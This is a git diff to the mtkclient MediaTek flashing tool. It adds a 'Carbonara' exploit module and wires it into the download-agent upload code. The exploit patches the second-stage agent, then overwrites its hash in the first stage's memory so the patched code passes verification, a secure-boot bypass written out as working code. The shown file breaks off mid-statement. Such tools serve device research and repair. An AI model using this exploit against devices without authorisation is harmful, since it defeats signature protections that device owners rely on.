diff --git a/mtkclient/Library/DA/xflash/xflash_lib.py b/mtkclient/Library/DA/xflash/xflash_lib.py index dccd2f89..30e8106c 100644 --- a/mtkclient/Library/DA/xflash/xflash_lib.py +++ b/mtkclient/Library/DA/xflash/xflash_lib.py @@ -1224,7 +1224,18 @@ def upload_da(self): self.info("Uploading stage 2...") stage = stage + 1 loaded = False + if not self.mtk.daloader.patch and not self.mtk.config.stock and connagent == b"preloader": + if self.carbonara is not None: + with open(self.daconfig.loader, 'rb') as bootldr: + da1offset = self.daconfig.da_loader.region[1].m_buf + da1size = self.daconfig.da_loader.region[1].m_len + bootldr.seek(da1offset) + da1 = bootldr.read(da1size) + + if self.carbonara.is_vulnerable(da1): + self.daconfig.da2 = self.carbonara.run_carbonara(da1, self.daconfig.da2, self) + loaded = self.boot_to(self.daconfig.da_loader.region[stage].m_start_addr, self.daconfig.da2) if not loaded: loaded = self.boot_to(self.daconfig.da_loader.region[stage].m_start_addr, self.daconfig.da2) diff --git a/mtkclient/Library/DA/xml/xml_lib.py b/mtkclient/Library/DA/xml/xml_lib.py index af09655b..bd1b5132 100644 --- a/mtkclient/Library/DA/xml/xml_lib.py +++ b/mtkclient/Library/DA/xml/xml_lib.py @@ -601,9 +601,18 @@ def upload_da(self): da2offset = self.daconfig.da_loader.region[2].m_start_addr if not self.mtk.daloader.patch and not self.mtk.config.stock: if self.carbonara is not None and self.mtk.config.target_config["sbc"]: - loaded = self.boot_to(da2offset, da2) - if loaded: - self.patch = True + with open(self.daconfig.loader, 'rb') as bootldr: + da1offset = self.daconfig.da_loader.region[1].m_buf + bootldr.seek(da1offset) + da1size = self.daconfig.da_loader.region[1].m_len + bootldr.seek(da1offset) + da1 = bootldr.read(da1size) + + if self.carbonara.is_vulnerable(da1): + da2 = self.carbonara.run_carbonara(da1, da2, self) + loaded = self.boot_to(da2offset, da2) + if loaded: + self.patch = True else: loaded = self.boot_to(da2offset, da2) if not loaded: diff --git a/mtkclient/Library/Exploit/carbonara.py b/mtkclient/Library/Exploit/carbonara.py new file mode 100644 index 00000000..e284af23 --- /dev/null +++ b/mtkclient/Library/Exploit/carbonara.py @@ -0,0 +1,102 @@ +#!/usr/bin/python3 +# -*- coding: utf-8 -*- +# (c) B.Kerler 2018-2025 GPLv3 License +# Ported from Penumbra (AGPL) by author +# (c) Shomy 2025 GPLv3 License +import hashlib +import logging +from struct import pack, unpack + +from mtkclient.Library.exploit_handler import Exploitation +from mtkclient.Library.utils import LogBase + +class Carbonara(Exploitation, metaclass=LogBase): + + def __init__(self, mtk, loglevel=logging.INFO): + super().__init__(mtk, loglevel) + self.daloader = None + self.da2 = None + self.da1 = None + + def run_carbonara(self, da1, da2, daloader): + if da1 is None or da2 is None: + self.error("Carbonara error: DA1 or DA2 is None") + return None + + self.da1 = da1 + self.da2 = da2 + self.daloader = daloader + + self.info("DA is vulnerable to Carbonara :)") + self.info("Carbonara run...") + + da2patched = self.patch_da2() + + + if not self.daloader.xsend(self.daloader.Cmd.BOOT_TO): + self.error("Carbonara: Failed to run BOOT_TO") + return da2 + + da1address = self.mtk.daloader.daconfig.da_loader.region[1].m_start_addr + da1sig_len = self.mtk.daloader.daconfig.da_loader.region[1].m_sig_len + da2sig_len = self.mtk.daloader.daconfig.da_loader.region[2].m_sig_len + hashaddr, hashmode, hashlen = self.mtk.daloader.compute_hash_pos(da1, da2patched, da1sig_len, da2sig_len, + self.daloader.daconfig.da_loader.v6) + + if hashaddr is None: + self.error("Carbonara: Failed to find DA2 hash position in DA1") + self.mtk.daloader.patch = False + return da2 + + # Hashmode 1 = SHA1; 2 = SHA256 + dahash = None + if hashmode == 1: + dahash = hashlib.sha1(da2patched).digest() + elif hashmode == 2: + dahash = hashlib.sha256(da2patched).digest() + + # What we're doing is overwriting the DA2 hash located in DA1 in memory + # so, this needs to have the correct base address + vaddr = da1address + hashaddr + + payload = pack("